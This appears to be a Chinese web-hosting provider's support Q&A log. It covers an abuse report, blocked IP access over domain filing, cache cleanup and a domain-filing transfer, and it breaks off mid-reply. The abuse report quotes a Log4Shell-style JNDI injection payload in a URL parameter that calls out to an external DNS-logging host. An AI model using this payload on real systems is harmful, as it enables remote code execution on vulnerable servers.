問：貴公司云服務器 127.0.0.1和 127.0.0.1異常掃描攻擊我司接口服務器 http://127.0.0.1:8090/terry?filename=$%7Bjndi:ldap://f07c8d4c.dns.1433.eu.org./123%7D,貴公司云服務器異常掃描攻擊我司接口服務器
答：您好，已通知用戶，自查核實云服務器做什么應用，是什么原因造成的。
建議您可以在服務器上封禁這兩個IP地址的連接。
問：建議貴部門協助用戶進行排查，我司已對貴公司這2個IP進行封堵，后續將會繼續關注是否還存在貴數據中心的異常服務器訪問。感謝此次協助配合！
答：您好，該服務器管理員已在核實了，如后續還有異常請再反饋給我司，非常感謝您長期對我司的支持！
問：客戶在廈門地 通過IP無法訪問服務器127.0.0.1
客戶的IP本機IP: 127.0.0.1福建 電信
答：您好，
因備案原因，ip地址不支持直接訪問的。測試解析到服務器網站訪問正常，若用戶無法訪問，請參考http://www.shinetop.cn/faq/list.asp?unid=2313 輸入域名反饋下詳細測試截圖,非常感謝您長期對我司的支持!
問：幫找出下 最大的占用文件夾 一般可能是runtime 這個臨時文件占用比較大 可能是網站訪問量大了 這個可以刪除 同時幫我看下是哪個網站的runtime占用大了 我好對網站處理 那邊只需要清理下我能進去寶塔就行了
答：您好，當前查看空間未滿，BT可以訪問 目前占用最大的目錄：
問： 這個是你們回復我的
答：您好，請確認下 /home/www/www.qzwbest.com/runtime 該cache目錄是否可以清除？
問：可以清
答：您好，正在清理中，當前BT可以登錄了,非常感謝您長期對我司的支持!
問：www.crdz.net客戶網站轉入我司，域名之前已經備案，但不是在我司備案的，現在好像已經取消域名綁定，需要如何操作呢？客戶之前有備案號
答：您好，
目前查詢域名已沒有備案，且域名解析使用的時候我司主機，您可直接在我司備案平臺https://beian.35.com/重新提交備案申請即可,非常感謝您長期對我司的支持!
問：備案號：技有限公司 ,難道備案被注銷了嗎？我是不是讓客戶做轉入備案即可
答：您好，域名已無備案記錄，單位存有空殼主體備案號，如果要備案，請及時將空殼主體注銷后再重新備案。
,非常感謝您長期對我司的支持!
問：不對啊，上次客戶有做過備案轉入到我司，都已經審核通過了的啊，怎么現在是空殼呢？
問：
問：怎么我登錄進入到備案里面都是空的了？？？？系統出問題了嗎
答：您好，